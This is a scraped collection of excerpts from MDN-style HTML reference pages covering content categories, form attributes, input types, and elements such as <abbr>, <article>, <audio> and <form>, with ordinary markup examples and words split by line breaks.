...e scope of this article; for that, you may wish to read the relevant portions of the html specification. main content categories metadata content elements belonging to the metadata content category modify the presentation or the behavior of the rest of the document, set up links to other documents, or convey other out of band information. ...
... other out of band information. elements belonging to this category are <base>, <co
mmand>, <link>, <meta>, <noscript>, <script>, <style> and <title>. flow content elements belonging to the flow content category typically contain text or embedded content. ...
...w3c html specification prior to html 5 being finalized, but is still part of the whatwg specification and is at least partially supported by most browsers. phrasing content phrasing content defines the text and the mark-up it contains. runs of phrasing content make up paragraphs. elements belonging to this category are <abbr>, <audio>, <b>, <bdo>, <br>, <button>, <canvas>, <cite>, <code>, <co
mmand>, <data>, <datalist>, <dfn>, <em>, <embed>, <i>, <iframe>, <img>, <input>, <kbd>, <keygen>, <label>, <mark>, <math>, <meter>, <noscript>, <object>, <output>, <picture>, <progress>, <q>, <ruby>, <samp>, <script>, <select>, <small>, <span>, <strong>, <sub>, <sup>, <svg>, <textarea>, <time>, <var>, <video>, <wbr> and plain text (not only consisting of white spaces characters). a few other eleme...
HTML5 - Developer guides
l web sites and applications. this set is sometimes called html5 & friends and often shortened to just html5. designed to be usable by all open web developers, this reference page links to numerous resources about html5 technologies, classified into several groups based on their function. semantics: allowing you to describe more precisely what your content is. connectivity: allowing you to co
mmunicate with the server in new and innovative ways. offline and storage: allowing webpages to store data on the client-side locally and operate offline more efficiently. multimedia: making video and audio first-class citizens in the open web. 2d/3d graphics and effects: allowing a much more diverse range of presentation options. performance and integration: providing greater speed optimization...
...esign or web application. html5 reference guide quick-reference html5 sheet containing markup generators, code examples and web developer tools. the guide is downloadable for ease of use and access. this page was created with help from the w3c as a quick guide for those who have some basic familiarity and experience using html5. downloadable html5 guide a quick guide to html5, including the co
mmon html tags as well as the new html5 tags. downloadable in pdf and png formats. html5 cheat sheet a handy html 5 cheat sheet for beginners who want to master html 5, its elements, event attributes and compatibility. html5-compliant parser the parser, which turns the bytes of an html document into a dom, has been extended and now precisely defines the behavior to use in all cases, even when f...
...liant browsers. connectivity web sockets allows creating a permanent connection between the page and the server and to exchange non-html data through that means. server-sent events allows a server to push events to a client, rather than the classical paradigm where the server could send data only in response to a client's request. webrtc this technology, where rtc stands for real-time co
mmunication, allows connecting to other people and controlling videoconferencing directly in the browser, without the need for a plugin or an external application. offline & storage offline resources: the application cache firefox fully supports the html5 offline resource specification. most others have offline resource support at some level. online and offline events firefox 3 supports what...
...pplications to access local files selected by the user. this includes support for selecting multiple files using the <input> of type file html element's new multiple attribute. there also is filereader. multimedia using html5 audio and video the <audio> and <video> elements embed and allow the manipulation of new multimedia content. webrtc this technology, where rtc stands for real-time co
mmunication, allows connecting to other people and controlling videoconferencing directly in the browser, without the need for a plugin or an external application. track and webvtt the <track> element allows subtitles and chapters. webvtt is a text track format. 2d/3d graphics and effects canvas tutorial learn about the new <canvas> element and how to draw graphs and other objects in firefox...
Introduction to Web development - Developer guides
whether you're just getting started with web development, or are just expanding your horizons into new realms of web awesomeness, the links here should help you get started. for another (overlapping) set of links to learning resources, see the mdn learning pages. note: the reco
mmended resources on this page are subject to change. documentation topics html the basics of hypertext mark-up langage (html) — what exactly is html? basic structure of a web page — the doctype and document 'tree' fundamental html elements — structural, head, list, form elements and more, explained by category. html beginners tutorial — a tutorial and exercise that recap and take you through the basics you've learned above. html elements reference gu...
...elements with details on how browsers support them css getting started with css — an absolute beginners guide to css covers basic concepts and fundamentals css reference guide — a complete guide to css with details on the level of gecko/firefox support for each. the w3c introduction to styling with css — a brief guide to styling web pages for beginners. co
mmon css questions — co
mmon questions and answers for beginners intermediate css concepts — grouping, pseudo-classes and more. javascript beginning getting started with javascript — what is javascript and how can it help you? javascript reference guide — a comprehensive, regularly updated guide to javascript for all levels of learning from beginner to adva...
...omprehensive, regularly updated guide to javascript for all levels of learning from beginner to advanced. crockford on javascript — an in-depth video series on the javascript language. eloquent javascript — a comprehensive guide to intermediate and advanced javascript methodologies intermediate a re-introduction to javascript — a recap on the javascript progra
mming language aimed at intermediate-level developers essential javascript design patterns — an introduction to essential javascript design patterns introduction to object-oriented javascript — learn about the javascript object model. christian heilmann's javascript best practices — learn about some of the obvious and (not so) obvious best practices when writing javascript. ...
...not so) obvious best practices when writing javascript. advanced learning advanced javascript — john resig's guide to advanced javascript crockford on advanced javascript — a three part video series on advanced javascript concepts javascript garden — documentation of the most quirky parts of javascript. resources w3c web education co
mmunity group wiki covers web design, html and html5, css, javascript and accessibility. this is a good starting point for beginners wishing to learn web development fundamentals across a number of areas. sitepoint a reliable reference site for learning html, css and javascript which also mentions feature support across different browsers and known browser bugs. htmldog an e...
HTML attribute: accept - HTML: Hypertext Markup Language
the accept property is an attribute of the file <input> type. it was supported on the <form> element, but was removed in favor of file in html5. because a given file type may be identified in more than one manner, it's useful to provide a thorough set of type specifiers when you need files of specific type, or use the wild card to denote a type of any format is acceptable. ...
...me extension, starting with a period (".") character. for example: .jpg, .pdf, or .doc. a valid mime type string, with no extensions. the string audio/* meaning "any audio file". the string video/* meaning "any video file". the string image/* meaning "any image file". the accept attribute takes as its value a string containing one or more of these unique file type specifiers, separated by co
mmas. for example, a file picker that needs content that can be presented as an image, including both standard image formats and pdf files, might look like this: <input type="file" accept="image/*,.pdf"> using file inputs a basic example <form method="post" enctype="multipart/form-data"> <div> <label for="file">choose file to upload</label> <input type="file" id="file" name="file" multipl...
... file types often you won't want the user to be able to pick any arbitrary type of file; instead, you often want them to select files of a specific type or types. for example, if your file input lets users upload a profile picture, you probably want them to select web-compatible image formats, such as jpeg or png. acceptable file types can be specified with the accept attribute, which takes a co
mma-separated list of allowed file extensions or mime types. some examples: accept="image/png" or accept=".png" — accepts png files. accept="image/png, image/jpeg" or accept=".png, .jpg, .jpeg" — accept png or jpeg files. accept="image/*" — accept any file with an image/* mime type. (many mobile devices also let the user take a picture with the camera when this is used.) accept=".doc,.do...
...ame="profile_pic" accept=".jpg, .jpeg, .png"> </div> <div> <button>submit</button> </div> </form> div { margin-bottom: 10px; } specifications specification status html living standardthe definition of 'accept attribute' in that specification. living standard html 5.1the definition of 'accept attribute' in that specification. reco
mmendation ...
disabled - HTML: Hypertext Markup Language
can neither edit nor focus on the control, nor it's form control descendants. if the disabled attribute is specified on a form control, the element and its form control descendants do not participate in constraint validation. often browsers grey out such controls and it won't receive any browsing events, like mouse clicks or focus-related ones. the disabled attribute is supported by <button>, <co
mmand>, <fieldset>, <keygen>, <optgroup>, <option>, <select>, <textarea> and <input>. this boolean disabled attribute indicates that the user cannot interact with the control or it's descendant controls. if this attribute is not specified, the control inherits its setting from the containing element, for example fieldset; if there is no containing element with the disabled attribute set, and the co...
...read-only controls can still function and are still focusable, whereas disabled controls can not receive focus and are not submitted with the form and generally do not function as controls until they are enabled. because a disabled field cannot have it's value changed, required does not have any effect on inputs with the disabled attribute also specified. ...
... if present on a supporting elements, the :disabled pseudo class will match. if the attribute is not included, the :enabled pseudo class will match. ...
... <option>disabled 3.2</option> <option>disabled 3.3</option> </optgroup> </select> </label> </p> <fieldset disabled> <legend>disabled fieldset</legend> <p> <label>name: <input type="name" name="radio" value="regular"> regular </label> </p> <p> <label>number: <input type="number"></label> </p> </fieldset> specifications specification status co
mment html living standardthe definition of 'disabled attribute' in that specification. living standard html5the definition of 'disabled attribute' in that specification. reco
mmendation html 5.1the definition of 'disabled attribute' in that specification. reco
mmendation ...
HTML attribute: max - HTML: Hypertext Markup Language
, the max attribute is a number that specifies the most positive value a form control to be considered valid. if the value exceeds the max value allowed, the validitystate.rangeoverflow will be true, and the the control will be matched by the :out-of-range and :invalid pseudo-classes. ...
...control to be considered valid. if the value exceeds the max value allowed, the validitystate.rangeoverflow will be true, and the the control will be matched by the :out-of-range and :invalid pseudo-classes. ...
...will be matched by the :out-of-range and :invalid pseudo-classes. ...
...ax for max values by input type input type syntax example date yyyy-
mm-dd <input type="date" max="2019-12-25" step="1"> month yyyy-
mm <input type="month" max="2019-12" step="12"> week yyyy-w## <input type="week" max="2019-w23" step=""> time hh:
mm <input type="time" max="17:00" step="900"> datetime-local yyyy-
mm-ddthh:
mm <input type="datetime-local" min="2019-12-25t23:59"> number <number> <input type="number" min="0" step="5" max="100"> range <number> <input type="range" min="60" step="5" max="100"> note: when the data entered by the user doesn't adhere to the maximum value set, the value is considered invalid in contraint validation and will match the :invalid an...
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
ther a title attribute or inline text providing the definition. when an abbreviation's presence in the text needs to be semantically noted, the <abbr> element is useful. this can be used, in turn, for styling or scripting purposes. you can use <abbr> in concert with <dfn> to establish definitions for terms which are abbreviations or acronyms. see the example defining an abbreviation below. gra
mmar considerations in languages with gra
mmatical number (that is, languages where the number of items affects the gra
mmar of a sentence), use the same gra
mmatical number in your title attribute as inside your <abbr> element. this is especially important in languages with more than two numbers, such as arabic, but is also relevant in english. default styling the purpose of this element is purely ...
... if the content is technical or industry jargon. ...
... for people who are unfamiliar with the terminology or concepts discussed in the content, people who are new to the language, and people with cognitive concerns. specifications specification status co
mment html living standardthe definition of '<abbr>' in that specification. ...
... new to the language, and people with cognitive concerns. specifications specification status co
mment html living standardthe definition of '<abbr>' in that specification. living standard html5the definition of '<abbr>' in that specification. ...
<article>: The Article Contents element - HTML: Hypertext Markup Language
, presentation, region dom interface htmlelement attributes this element only includes the global attributes. usage notes each <article> should be identified, typically by including a heading (<h1>-<h6> element) as a child of the <article> element. when an <article> element is nested, the inner element represents an article related to the outer element. for example, the co
mments of a blog post can be <article> elements nested in the <article> representing the blog post. author information of an <article> element can be provided through the <address> element, but it doesn't apply to nested <article> elements. the publication date and time of an <article> element can be described using the datetime attribute of a <time> element. note that the pubdate attribute of <ti...
...dinos are my favorite.</p> <footer> <p> posted on <time datetime="2015-05-17 19:00">may 17</time> by tom. ...
...> </section> <footer> <p> posted on <time datetime="2015-05-15 19:00">may 15</time> by staff. </p> </footer> </article> specifications specification status co
mment html living standardthe definition of '<article>' in that specification. ...
...>may 15</time> by staff. </p> </footer> </article> specifications specification status co
mment html living standardthe definition of '<article>' in that specification. living standard html 5.1the definition of '<article>' in that specification. ...
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
ts the source audio. the <audio> element doesn't directly support webvtt. you will have to find a library or framework that provides the capability for you, or write the code to display captions yourself. one option is to play your audio using a <video> element, which does support webvtt. in addition to spoken dialog, subtitles and transcripts should also identify music and sound effects that co
mmunicate important information. this includes emotion and tone. for example, in the webvtt below, note the use of square brackets to provide tone and emotional insight to the viewer; this can help establish the mood otherwise provided using music, nonverbal sounds and crucial sound effects, and so forth. 1 00:00:00 --> 00:00:45 [energetic techno music] 2 00:00:46 --> 00:00:51 welcome to the time ...
...o download the audio</a> instead. </p> </audio> mdn adding captions and subtitles to html5 video web video text tracks format (webvtt) webaim: captions, transcripts, and audio descriptions mdn understanding wcag, guideline 1.2 explanations understanding success criterion 1.2.1 | w3c understanding wcag 2.0 understanding success criterion 1.2.2 | w3c understanding wcag 2.0 technical su
mmary content categories flow content, phrasing content, embedded content. if it has a controls attribute: interactive content and palpable content. permitted content if the element has a src attribute: zero or more <track> elements followed by transparent content that contains no <audio> or <video> media elements. else: zero or more <source> elements followed by zero or...
...ontains no <audio> or <video> media elements. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts embedded content. ...
...ded content. ...
<b>: The Bring Attention To element - HTML: Hypertext Markup Language
tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. usage notes use the <b> for cases like keywords in a su
mmary, product names in a review, or other spans of text whose typical presentation would be boldfaced (but not including any special importance). do not confuse the <b> element with the <strong>, <em>, or <mark> elements. the <strong> element represents text of certain importance, <em> puts some emphasis on the text and the <mark> element represents text of certain relevance. the <b> element doesn...
...font-weight property with the value "bold" instead in order to make text bold. examples <p> this article describes several <b class="keywords">text-level</b> elements. it explains their usage in an <b class="keywords">html</b> document. ...
... explains their usage in an <b class="keywords">html</b> document. ...
...he default style of the <b>element, likely in bold.</b> result specifications specification status co
mment html living standardthe definition of '<b>' in that specification. living standard html5the definition of '<b>' in that specification. ...
<br>: The Line Break element - HTML: Hypertext Markup Language
br> is not only bad practice, it is problematic for people who navigate with the aid of screen reading technology. screen readers may announce the presence of the element, but not any content contained within <br>s. this can be a confusing and frustrating experience for the person using the screen reader. use <p> elements, and use css properties like margin to control their spacing. technical su
mmary content categories flow content, phrasing content. permitted content none, it is an empty element. tag omission must have a start tag, and must not have an end tag. in xhtml documents, write this element as <br />. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted...
... tag omission must have a start tag, and must not have an end tag. in xhtml documents, write this element as <br />. permitted parents any element that accepts phrasing content. ...
...asing content. ...
...one, presentation dom interface htmlbrelement specifications specification status co
mment html living standardthe definition of '<br>' in that specification. living standard html5the definition of '<br>' in that specification. ...
<caption>: The Table Caption element - HTML: Hypertext Markup Language
le) of a table. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content flow content. tag omission the end tag can be omitted if the element is not i
mmediately followed by ascii whitespace or a co
mment. permitted parents a <table> element, as its first descendant. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmltablecaptionelement attributes this element includes the global attributes. deprecated attributes the following attributes are dep...
...er1@sample.com</td> </tr> <tr> <td>user2</td> <td>user2@sample.com</td> </tr> </table> caption { caption-side: top; align: right; } table { border-collapse: collapse; border-spacing: 0px; } table, th, td { border: 1px solid black; } table {background: red;} do not alter caption. ...
... border-spacing: 0px; } table, th, td { border: 1px solid black; } table {background: red;} do not alter caption. for that you need display: block. specifications specification status co
mment html living standardthe definition of '<caption>' in that specification. ...
...alter caption. for that you need display: block. specifications specification status co
mment html living standardthe definition of '<caption>' in that specification. living standard html5the definition of '<caption>' in that specification. ...
<col> - HTML: Hypertext Markup Language
it is generally found within a <colgroup> element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. <col> allows styling columns using css, but only a few properties will have an effect on the column (see the css 2.1 specification for a list). content categories none. permitted content none, it is an empty element. tag omission it must have start tag, but must not have an end tag. ...
...group. in addition to the standard pixel and percentage values, this attribute might take the special form 0*, which means that the width of each column in the group should be the minimum width necessary to hold the column's contents. relative widths such as 0.5* also can be used. ...
...inimum width necessary to hold the column's contents. relative widths such as 0.5* also can be used. examples please see the <table> page for examples on <col>. specifications specification status co
mment html living standardthe definition of '<col>' in that specification. ...
...examples please see the <table> page for examples on <col>. specifications specification status co
mment html living standardthe definition of '<col>' in that specification. living standard html5the definition of '<col>' in that specification. ...
<colgroup> - HTML: Hypertext Markup Language
permitted content if the span attribute is present: none, it is an empty element. if the attribute is not present: zero or more <col> element tag omission the start tag may be omitted, if it has a <col> element as its first child and if it is not preceded by a <colgroup> whose end tag has been omitted. the end tag may be omitted, if it is not followed by a space or a co
mment. permitted parents a <table> element. the <colgroup> must appear after any optional <caption> element but before any <thead>, <th>, <tbody>, <tfoot> and <tr> element. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmltablecolelement attributes this element's attributes include the global att...
...nal position of the column in the table. only after this selector the vertical-align property can be used. if the table does use a colspan attribute, the effect can be achieved by combining adequate css attribute selectors like [colspan=n], though this is not trivial. ...
... adequate css attribute selectors like [colspan=n], though this is not trivial. examples please see the <table> page for examples on <colgroup>. specifications specification status co
mment html living standardthe definition of '<colgroup>' in that specification. ...
... the <table> page for examples on <colgroup>. specifications specification status co
mment html living standardthe definition of '<colgroup>' in that specification. living standard html5the definition of '<colgroup>' in that specification. ...
<dd>: The Description Details element - HTML: Hypertext Markup Language
for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content flow content. tag omission the start tag is required. the end tag may be omitted if the <dd> element is i
mmediately followed by another <dd> element or a <dt> element, or if there is no more content in the parent element. permitted parents <dl> or (in whatwg html) a <div> that is inside a <dl>. previous sibling <dt> or another <dd> element. implicit aria role definition permitted aria roles no role permitted dom interface htmlelement at...
... definition permitted aria roles no role permitted dom interface htmlelement attributes this element's attributes include the global attributes. nowrap if the value of this attribute is set to yes, the definition text will not wrap. the default value is no. ...
... nowrap if the value of this attribute is set to yes, the definition text will not wrap. the default value is no. example for an example, see <dl> examples. ...
...ault value is no. example for an example, see <dl> examples. specifications specification status co
mment html living standardthe definition of '<dd>' in that specification. living standard html5the definition of '<dd>' in that specification. ...
<em>: The Emphasis element - HTML: Hypertext Markup Language
rds of a sentence and affects the meaning of the sentence itself. typically this element is displayed in italic type. however, it should not be used simply to apply italic styling; use the css font-style property for that purpose. use the <cite> element to mark the title of a work (book, play, song, etc.). use the <i> element to mark text that is in an alternate tone or mood, which covers many co
mmon situations for italics such as scientific names or words in other languages. use the <strong> element to mark text that has greater importance than surrounding text. <i> vs. <em> new developers are often confused at seeing multiple elements that produce similar results. <em> and <i> are a co
mmon example, since they both italicize text. what's the difference? which should you use? by default,...
...uestion is not a queen named mary, but a ship named queen mary. another example for <i> could be: "the word the is an article". example the <em> element is often used to indicate an implicit or explicit contrast. ...
...e an implicit or explicit contrast. <p> in html 5, what was previously called <em>block-level</em> content is now called <em>flow</em> content. ...
...> content is now called <em>flow</em> content. </p> result specifications specification status co
mment html living standardthe definition of '<em>' in that specification. living standard html5the definition of '<em>' in that specification. ...
<fieldset>: The Field Set element - HTML: Hypertext Markup Language
re disabled due to being inside a disabled <fieldset>. <form action="#"> <fieldset disabled> <legend>disabled fieldset</legend> <div> <label for="name">name: </label> <input type="text" id="name" value="chris"> </div> <div> <label for="pwd">archetype: </label> <input type="password" id="pwd" value="wookie"> </div> </fieldset> </form> technical su
mmary content categories flow content, sectioning root, listed, form-associated element, palpable content. permitted content an optional <legend> element, followed by flow content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role group pe...
...<legend> element, followed by flow content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. ...
...oup permitted aria roles radiogroup, presentation, none dom interface htmlfieldsetelement specifications specification status co
mment html living standardthe definition of '<fieldset>' in that specification. ...
...ement specifications specification status co
mment html living standardthe definition of '<fieldset>' in that specification. living standard definition of the fieldset element html5the definition of '<fieldset>' in that specification. ...
<form> - HTML: Hypertext Markup Language
h the starting and ending tag are mandatory. permitted parents any element that accepts flow content implicit aria role form if the form has an accessible name, otherwise no corresponding role permitted aria roles search, none or presentation dom interface htmlformelement attributes this element includes the global attributes. accept co
mma-separated content types the server accepts. this attribute was removed in html5 and should not be used. instead, use the accept attribute on <input type=file> elements. accept-charset space-separated character encodings the server accepts. the browser uses them in the order in which they are listed. the default value means the same encoding as the page. (in previous versions of html, chara...
.... this attribute was removed in html5 and should not be used. instead, use the accept attribute on <input type=file> elements. accept-charset space-separated character encodings the server accepts. the browser uses them in the order in which they are listed. the default value means the same encoding as the page. (in previous versions of html, character encodings could also be delimited by co
mmas.) autocapitalize a nonstandard attribute used by ios safari that controls how textual form elements should be automatically capitalized. autocapitalize attributes on a form elements override it on <form>. possible values: none: no automatic capitalization. sentences (default): capitalize the first letter of each sentence. words: capitalize the first letter of each word. characters...
...ts. method the http method to submit the form with. possible (case insensitive) values: post: the post method; form data sent as the request body. get: the get method; form data appended to the action url with a ? separator. use this method when the form has no side-effects. dialog: when the form is inside a <dialog>, closes the dialog on submission. this value is overridden by for
mmethod attributes on <button>, <input type="submit">, or <input type="image"> elements. novalidate this boolean attribute indicates that the form shouldn't be validated when submitted. if this attribute is not set (and therefore the form is validated), it can be overridden by a formnovalidate attribute on a <button>, <input type="submit">, or <input type="image"> element belonging to the form. ...
...current url --> <form method="post"> <label>name: <input name="submitted-name" autocomplete="name"> </label> <button>save</button> </form> <!-- form with fieldset, legend, and label --> <form method="post"> <fieldset> <legend>title</legend> <label><input type="radio" name="radio"> select me</label> </fieldset> </form> specifications specification status co
mment html living standardthe definition of '<form>' in that specification. living standard html5the definition of '<form>' in that specification. reco
mmendation html 4.01 specificationthe definition of '<form>' in that specification. reco
mmendation initial definition ...
<head>: The Document Metadata (Header) element - HTML: Hypertext Markup Language
e subject line in html email), zero or more elements of metadata content. otherwise, one or more elements of metadata content where exactly one is a <title> element. tag omission the start tag may be omitted if the first thing inside the <head> element is an element. the end tag may be omitted if the first thing following the <head> element is not a space character or a co
mment. permitted parents an <html> element, as its first child. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlheadelement attributes this element includes the global attributes. profile the uris of one or more metadata profiles, separated by white space. example <!doctype html> <html>...
... profile the uris of one or more metadata profiles, separated by white space. example <!doctype html> <html> <head> <title>document title</title> </head> </html> notes html5-compliant browsers automatically create a <head> element if its tags are omitted in the markup. this auto-creation is not guaranteed in ancient browsers. ...
...omatically create a <head> element if its tags are omitted in the markup. this auto-creation is not guaranteed in ancient browsers. specifications specification status co
mment html living standardthe definition of '<head>' in that specification. ...
... browsers. specifications specification status co
mment html living standardthe definition of '<head>' in that specification. living standard no change from latest shapshot html5the definition of '<head>' in that specification. ...
<html>: The HTML Document / Root element - HTML: Hypertext Markup Language
ement represents the root (top-level element) of an html document, so it is also referred to as the root element. all other elements must be descendants of this element. content categories none. permitted content one <head> element, followed by one <body> element. tag omission the start tag may be omitted if the first thing inside the <html> element is not a co
mment. the end tag may be omitted if the <html> element is not i
mmediately followed by a co
mment. permitted parents none. this is the root element of a document. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlhtmlelement attributes this element includes the global attributes. manifest ...
...e, which may cause mispronunciations. including a valid lang declaration on the <html> element also ensures that important metadata contained in the page's <head>, such as the page's <title>, are also announced properly. ...
... <title>, are also announced properly. mdn understanding wcag, guideline 3.1 explanations understanding success criterion 3.1.1 | w3c understanding wcag 2.0 specifications specification status co
mment html living standardthe definition of '<html>' in that specification. living standard html5the definition of '<html>' in that specification. ...
...n status co
mment html living standardthe definition of '<html>' in that specification. living standard html5the definition of '<html>' in that specification. reco
mmendation added support for the manifest attribute (deprecated later). obsoleted the version attribute html 4.01 specificationthe definition of '<html>' in that specification. ...
<input type="number"> - HTML: Hypertext Markup Language
example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. on browsers that don't support inputs of type number, a number input falls back to type text. value any floating-point number, or empty. events change and input supported co
mmon attributes autocomplete, list, placeholder, readonly idl attributes list, value, valueasnumber methods select(), stepup(), stepdown() value any floating-point number, or empty. you can set a default value for the input by including a number inside the value attribute, like so: <input id="number" type="number" value="42"> additional attributes in addition ...
...ocomplete, list, placeholder, readonly idl attributes list, value, valueasnumber methods select(), stepup(), stepdown() value any floating-point number, or empty. ...
...te: any number is an acceptable value, as long as it is a valid floating point number (that is, not nan or infinity). placeholders sometimes it's helpful to offer an in-context hint as to what form the input data should take. this can be especially important if the page design doesn't offer descriptive labels for each <input>. this is where placeholders come in. a placeholder is a value most co
mmonly used to provide a hint as to the format the input should take value. it is displayed inside the edit box when the element's value is "". once data is entered into the box, the placeholder disappears; if the box is emptied, the placeholder reappears. here, we have an number input with the placeholder "multiple of 10". note how the placeholder disappears and reappears as you manipulate the con...
...uired attribute(s) are removed from the input(s) we are hiding, and empty the value attribute(s). this is so the form can be submitted if both input sets aren't filled in. it also ensures that the form won't submit data that the user didn't mean to. if you didn't do this, you'd have to fill in both feet/inches and meters to submit the form! specifications specification status co
mment html living standardthe definition of '<input type="number">' in that specification. living standard initial definition ...
<input type="search"> - HTML: Hypertext Markup Language
ifferently by the user agent. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. value a domstring representing the value contained in the search field. events change and input supported co
mmon attributes autocomplete, list, maxlength, minlength, pattern, placeholder, required, size. idl attributes value methods select(), setrangetext(), setselectionrange(). value the value attribute contains a domstring representing the value contained in the search field. you can retrieve this using the htmlinputelement.value property in javascript. searchterms = ...
... specifically intended for handling search terms. they are basically equivalent in behavior, but user agents may choose to style them differently by default (and, of course, sites may use stylesheets to apply custom styles to them). basic example <form> <div> <input type="search" id="mysearch" name="q"> <button>search</button> </div> </form> this renders like so: q is the most co
mmon name given to search inputs, although it's not mandatory. when submitted, the data name/value pair sent to the server will be q=searchterm. you must remember to set a name for your input, otherwise nothing will be submitted. differences between search and text types the main basic differences come in the way browsers handle them. the first thing to note is that some browsers show a cross i...
...that could give a hint on what to do using the placeholder attribute. look at the following example: <form> <div> <input type="search" id="mysearch" name="q" placeholder="search the site..."> <button>search</button> </div> </form> you can see how the placeholder is rendered below: search form labels and accessibility one problem with search forms is their accessibility; a co
mmon design practice is not to provide a label for the search field (although there might be a magnifying glass icon or similar), as the purpose of a search form is normally fairly obvious for sighted users due to placement (this example shows a typical pattern). this could, however, cause confusion for screenreader users, since they will not have any verbal indication of what the search input is. ...
... } input:invalid ~ span:after { content: '✖'; padding-left: 5px; position: absolute; } input:valid ~ span:after { content: '✓'; padding-left: 5px; position: absolute; } this renders like so: examples you can see a good example of a search form used in context at our website-aria-roles example (see it live). specifications specification status co
mment html living standardthe definition of '<input type="search">' in that specification. living standard initial definition html 5.1the definition of '<input type="search">' in that specification. reco
mmendation initial definition ...
<input type="tel"> - HTML: Hypertext Markup Language
tom keypad optimized for entering phone numbers. using a specific input type for telephone numbers also makes adding custom validation and handling of phone numbers more convenient. note: browsers that don't support type tel fall back to being a standard text input. ...
...r key on the virtual keyboard. note: this has been standardized as the global attribute enterkeyhint, but is not yet widely implemented. to see the status of the change being implemented in firefox, see bug 1490661. permitted values are: go, done, next, search, and send. the browser decides, using this hint, what label to put on the enter key. using tel inputs telephone numbers are a very co
mmonly collected type of data on the web. when creating any kind of registration or e-co
mmerce site, for example, you will likely need to ask the user for a telephone number, whether for business purposes or for emergency contact purposes. given how co
mmonly-entered phone numbers are, it's unfortunate that a "one size fits all" solution for validating phone numbers is not practical. fortunately, yo...
...a default value for an tel input box by setting its value attribute: <input id="telno" name="telno" type="tel" value="333-4444-4444"> offering suggested values taking it a step farther, you can provide a list of default phone number values from which the user can select. to do this, use the list attribute. this doesn't limit the user to those options, but does allow them to select co
mmonly-used telephone numbers more quickly. this also offers hints to autocomplete. the list attribute specifies the id of a <datalist> element, which in turn contains one <option> element per suggested value; each option's value is the corresponding suggested value for the telephone number entry box. <label for="telno">phone number: </label> <input id="telno" name="telno" type="tel" list="defaultt...
...v { margin-bottom: 10px; position: relative; } input[type="number"] { width: 100px; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute; content: '✖'; padding-left: 5px; color: #8b0000; } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; color: #009000; } specifications specification status co
mment html living standardthe definition of '<input type="tel">' in that specification. living standard initial definition html 5.1the definition of '<input type="tel">' in that specification. reco
mmendation initial definition ...
<input type="week"> - HTML: Hypertext Markup Language
ek control provides slots to fill in week and year values, a pop-up calendar interface to select them more visually, and an "x" button to clear the control's value. the edge week control is somewhat more elaborate, opening up week and year pickers with sliding reels. value a domstring representing a week and year, or empty events change and input supported co
mmon attributes autocomplete, list, readonly, and step idl attributes value, valueasdate, valueasnumber, and list. methods select(), stepdown(), and stepup() value a domstring representing the value of the week/year entered into the input. the format of the date and time value used by this input type is described in format of a valid week string in date and time fo...
... submitted to the server, for example, browsers may display it as week 01, 2017, but the submitted value will always look like week=2017-w01. ...
...0px; } input:invalid+span:after { position: absolute; content: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; } the other part of the code that may be of interest is the feature detection code. to detect whether the browser supports <input type="week">, we create a new <input> element, try setting its type to week, then i
mmediately check what its type is set to. non-supporting browsers will return text, because the week type falls back to type text. if <input type="week"> is not supported, we hide the native picker and show the fallback picker ui (<select>s) instead. // define variables var nativepicker = document.queryselector('.nativeweekpicker'); var fallbackpicker = document.queryselector('.fallbackweekpicker')...
... living standard ...
Standard metadata names - HTML: Hypertext Markup Language
ation running in the web page. note: browsers may use this to identify the application. it is different from the <title> element, which usually contain the application name, but may also contain information like the document name or a status. simple web pages shouldn't define an application-name. author: the name of the document's author. description: a short and accurate su
mmary of the content of the page. several browsers, like firefox and opera, use this as the default description of bookmarked pages. generator: the identifier of the software that generated the page. keywords: words relevant to the page's content separated by co
mmas. referrer: controls the http referer header for to requests sent from the document: values for the content attribute of <meta ...
...it by default. viewport-fit auto, contain or cover the auto value doesn’t affect the initial layout viewport, and the whole web page is viewable. the contain value means that the viewport is scaled to fit the largest rectangle inscribed within the display. the cover value means that the viewport is scaled to fill the device display. it is highly reco
mmended to make use of the safe area inset variables to ensure that important content doesn't end up outside the display. notes: though unstandardized, this declaration is respected by most mobile browsers due to de-facto dominance. the default values may vary between devices and browsers. to learn about this declaration in firefox for mobile, see this article. ...
...nt. mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | w3c understanding wcag 2.0 see also the @viewport css at-rule. other metadata names the whatwg wiki metaextensions page contains a large set of non-standard metadata names that have not been formally accepted yet; however, some of the names included there are already used quite co
mmonly in practice — including the following: creator: the name of the creator of the document, such as an organization or institution. if there are more than one, several <meta> elements should be used. googlebot, a synonym of robots, is only followed by googlebot (the indexing crawler for google). publisher: the name of the document's publisher. robots: the behaviour that cooperative crawl...
...or: the name of the creator of the document, such as an organization or institution. if there are more than one, several <meta> elements should be used. googlebot, a synonym of robots, is only followed by googlebot (the indexing crawler for google). publisher: the name of the document's publisher. robots: the behaviour that cooperative crawlers, or "robots", should use with the page. it is a co
mma-separated list of the values below: values for the content of <meta name="robots"> value description used by index allows the robot to index the page (default). all noindex requests the robot to not index the page. all follow allows the robot to follow the links on the page (default). ...
<option>: The HTML Option element - HTML: Hypertext Markup Language
